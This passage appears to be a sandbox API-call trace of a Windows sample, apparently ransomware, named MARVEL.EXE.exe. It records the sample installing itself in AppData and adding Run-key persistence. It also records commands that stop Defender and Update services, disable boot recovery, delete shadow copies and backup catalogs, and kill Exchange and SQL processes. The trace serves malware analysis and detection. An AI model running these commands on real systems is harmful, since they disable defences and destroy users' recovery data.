HALPmcxz\\Desktop\\MARVEL.EXE.exe\"" [0025.982] lstrcatA (in: lpString1=" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\"", lpString2=" \"%APPDATA%\\" | out: lpString1=" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" \"%APPDATA%\\") returned=" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" \"%APPDATA%\\" [0025.982] lstrcatA (in: lpString1=" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" \"%APPDATA%\\", lpString2="Marvel.exe" | out: lpString1=" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" \"%APPDATA%\\Marvel.exe") returned=" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" \"%APPDATA%\\Marvel.exe" [0025.982] lstrcatA (in: lpString1=" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" \"%APPDATA%\\Marvel.exe", lpString2="\"" | out: lpString1=" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" \"%APPDATA%\\Marvel.exe\"") returned=" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" \"%APPDATA%\\Marvel.exe\"" [0025.984] ShellExecuteA (hwnd=0x0, lpOperation="open", lpFile="cmd", lpParameters=" /c copy \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe\" \"%APPDATA%\\Marvel.exe\"", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0027.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9958 | out: hHeap=0x5b0000) returned 1 [0027.781] RegCreateKeyW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult=0x18fdd4 | out: phkResult=0x18fdd4*=0x80) returned 0x0 [0027.781] lstrcatA (in: lpString1="", lpString2="\"%APPDATA%\\" | out: lpString1="\"%APPDATA%\\") returned="\"%APPDATA%\\" [0027.781] lstrcatA (in: lpString1="\"%APPDATA%\\", lpString2="Marvel.exe" | out: lpString1="\"%APPDATA%\\Marvel.exe") returned="\"%APPDATA%\\Marvel.exe" [0027.781] lstrcatA (in: lpString1="\"%APPDATA%\\Marvel.exe", lpString2="\"" | out: lpString1="\"%APPDATA%\\Marvel.exe\"") returned="\"%APPDATA%\\Marvel.exe\"" [0027.781] RegSetValueExW (in: hKey=0x80, lpValueName="MarvelHost", Reserved=0x0, dwType=0x1, lpData="┢偁䑐呁╁䵜牡敶⹬硥≥", cbData=0x104 | out: lpData="┢偁䑐呁╁䵜牡敶⹬硥≥") returned 0x0 [0027.782] RegCloseKey (hKey=0x80) returned 0x0 [0027.782] RegCreateKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult=0x18fdd0 | out: phkResult=0x18fdd0*=0x80) returned 0x0 [0027.782] RegSetValueExW (in: hKey=0x80, lpValueName="MarvelHost", Reserved=0x0, dwType=0x1, lpData="┢偁䑐呁╁䵜牡敶⹬硥≥", cbData=0x104 | out: lpData="┢偁䑐呁╁䵜牡敶⹬硥≥") returned 0x0 [0027.782] RegCloseKey (hKey=0x80) returned 0x0 [0027.782] GetCurrentThread () returned 0xfffffffe [0027.782] WaitForSingleObject (hHandle=0xfffffffe, dwMilliseconds=0x3e8) returned 0x102 [0029.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20023) returned 0x615210 [0029.003] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x615220, nSize=0xffff | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0029.003] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fc68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fcac | out: lpCommandLine="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe", lpProcessInformation=0x18fcac*(hProcess=0x1f0, hThread=0xb0, dwProcessId=0x55c, dwThreadId=0x5b0)) returned 1 [0029.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615210 | out: hHeap=0x5b0000) returned 1 [0029.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9290 | out: hHeap=0x5b0000) returned 1 [0029.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5e9290 [0029.035] GetCurrentProcess () returned 0xffffffff [0029.035] GetModuleBaseNameA (in: hProcess=0xffffffff, hModule=0x0, lpBaseName=0x5e9290, nSize=0x104 | out: lpBaseName="MARVEL.EXE.exe") returned 0xe [0029.036] lstrcmpA (lpString1="MARVEL.EXE.exe", lpString2="Marvel.exe") returned 1 [0029.036] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9290 | out: hHeap=0x5b0000) returned 1 [0029.036] FindResourceW (hModule=0x0, lpName=0x66, lpType=0xa) returned 0x4a4058 [0029.036] LoadResource (hModule=0x0, hResInfo=0x4a4058) returned 0x4940f0 [0029.036] LockResource (hResData=0x4940f0) returned 0x4940f0 [0029.036] SizeofResource (hModule=0x0, hResInfo=0x4a4058) returned 0x4b1 [0029.036] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4b1) returned 0x6105c0 [0029.036] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5e16a8 [0029.036] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d2e0 [0029.036] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e16a8 | out: hHeap=0x5b0000) returned 1 [0029.036] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20023) returned 0x619210 [0029.037] GetEnvironmentVariableW (in: lpName="SYSTEMROOT", lpBuffer=0x619220, nSize=0xffff | out: lpBuffer="C:\\Windows") returned 0xa [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cb6c8 [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5e16a8 [0029.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x619210 | out: hHeap=0x5b0000) returned 1 [0029.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d2e0 | out: hHeap=0x5b0000) returned 1 [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20023) returned 0x619210 [0029.037] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x619220, nSize=0xffff | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5e12f0 [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb6b8 [0029.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0029.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x619210 | out: hHeap=0x5b0000) returned 1 [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20023) returned 0x619210 [0029.037] GetEnvironmentVariableW (in: lpName="TMP", lpBuffer=0x619220, nSize=0xffff | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x48) returned 0x5ddac0 [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb710 [0029.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e12f0 | out: hHeap=0x5b0000) returned 1 [0029.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x619210 | out: hHeap=0x5b0000) returned 1 [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d2e0 [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d330 [0029.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d2e0 | out: hHeap=0x5b0000) returned 1 [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20023) returned 0x619210 [0029.037] GetEnvironmentVariableW (in: lpName="PROGRAMDATA", lpBuffer=0x619220, nSize=0xffff | out: lpBuffer="C:\\ProgramData") returned 0xe [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x606018 [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d2e0 [0029.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ddac0 | out: hHeap=0x5b0000) returned 1 [0029.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x619210 | out: hHeap=0x5b0000) returned 1 [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5e12f0 [0029.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d330 | out: hHeap=0x5b0000) returned 1 [0029.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5e1398 [0029.037] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop wscsvc", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop wscsvc", lpProcessInformation=0x18fd7c*(hProcess=0x1ec, hThread=0xa8, dwProcessId=0x32c, dwThreadId=0xad4)) returned 1 [0029.048] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop WinDefend", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop WinDefend", lpProcessInformation=0x18fd7c*(hProcess=0xa4, hThread=0xfc, dwProcessId=0xa30, dwThreadId=0xa00)) returned 1 [0029.051] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop wuauserv", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop wuauserv", lpProcessInformation=0x18fd7c*(hProcess=0xec, hThread=0x114, dwProcessId=0xa18, dwThreadId=0xa28)) returned 1 [0029.054] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop BITS", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop BITS", lpProcessInformation=0x18fd7c*(hProcess=0x104, hThread=0x100, dwProcessId=0xa2c, dwThreadId=0xa44)) returned 1 [0029.057] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop ERSvc", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop ERSvc", lpProcessInformation=0x18fd7c*(hProcess=0x108, hThread=0x110, dwProcessId=0xa4c, dwThreadId=0x174)) returned 1 [0029.059] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop WerSvc", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop WerSvc", lpProcessInformation=0x18fd7c*(hProcess=0x10c, hThread=0xe8, dwProcessId=0xae4, dwThreadId=0x484)) returned 1 [0029.062] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x46) returned 0x5ddac0 [0029.062] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e12f0 | out: hHeap=0x5b0000) returned 1 [0029.062] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x68) returned 0x606160 [0029.062] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ddac0 | out: hHeap=0x5b0000) returned 1 [0029.062] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9a) returned 0x5e9ca0 [0029.062] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606160 | out: hHeap=0x5b0000) returned 1 [0029.062] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c bcdedit /set {default} recoveryenabled No", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c bcdedit /set {default} recoveryenabled No", lpProcessInformation=0x18fd7c*(hProcess=0xe4, hThread=0x80, dwProcessId=0xa14, dwThreadId=0x9d8)) returned 1 [0029.069] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessInformation=0x18fd7c*(hProcess=0x88, hThread=0x1c0, dwProcessId=0x9f8, dwThreadId=0x490)) returned 1 [0029.074] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c vssadmin delete shadows /all /quiet", lpProcessInformation=0x18fd7c*(hProcess=0x1c4, hThread=0x1bc, dwProcessId=0x868, dwThreadId=0xb04)) returned 1 [0029.079] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c wmic shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c wmic shadowcopy delete", lpProcessInformation=0x18fd7c*(hProcess=0x1cc, hThread=0x1d4, dwProcessId=0xb64, dwThreadId=0x314)) returned 1 [0029.084] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c wbadmin delete catalog -quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c wbadmin delete catalog -quiet", lpProcessInformation=0x18fd7c*(hProcess=0x234, hThread=0x214, dwProcessId=0x35c, dwThreadId=0x240)) returned 1 [0029.090] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="taskkill /f /im MSExchange*", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="taskkill /f /im MSExchange*", lpProcessInformation=0x18fd7c*(hProcess=0x170, hThread=0x1e8, dwProcessId=0x804, dwThreadId=0x814)) returned 1 [0029.471] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="taskkill /f /im Microsoft.Exchange.*", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="taskkill /f /im Microsoft.Exchange.*", lpProcessInformation=0x18fd7c*(hProcess=0x240, hThread=0x244, dwProcessId=0x824, dwThreadId=0x834)) returned 1 [0029.475] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="taskkill /f /im sqlserver.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="taskkill /f /im sqlserver.exe", lpProcessInformation=0x18fd7c*(hProcess=0x248, hThread=0x24c, dwProcessId=0x844, dwThreadId=0x854)) returned 1 [0029.478] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="taskkill /f /im sqlwriter.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="taskkill /f /im sqlwriter.exe", lpProcessInformation=0x18fd7c*(hProcess=0x250, hThread=0x254, dwProcessId=0x864, dwThreadId=0x874)) returned 1 [0029.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d330 [0029.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5e12f0 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d330 | out: hHeap=0x5b0000) returned 1 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe6) returned 0x5d0838 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x158) returned 0x5e3198 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5cc8d0 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d6de8 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc8d0 | out: hHeap=0x5b0000) returned 1 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x202) returned 0x615228 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e3198 | out: hHeap=0x5b0000) returned 1 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2cc) returned 0x60c798 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x430) returned 0x5d2850 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x646) returned 0x5ca590 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615228 | out: hHeap=0x5b0000) returned 1 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e12f0 | out: hHeap=0x5b0000) returned 1 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x260) returned 0x5e2b28 [0029.482] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5e2b28, nSize=0x12c | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\marvel.exe.exe")) returned 0x34 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x260) returned 0x5d1760 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb768 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f7630 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x606160 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d330 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cb6c8 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d290 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d330 | out: hHeap=0x5b0000) returned 1 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb7c0 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5e12f0 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb818 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0029.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eb7c0 | out: hHeap=0x5b0000) returned 1 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb7c0 [0029.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x48) returned 0x5ddac0 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb870 [0029.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e12f0 | out: hHeap=0x5b0000) returned 1 [0029.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 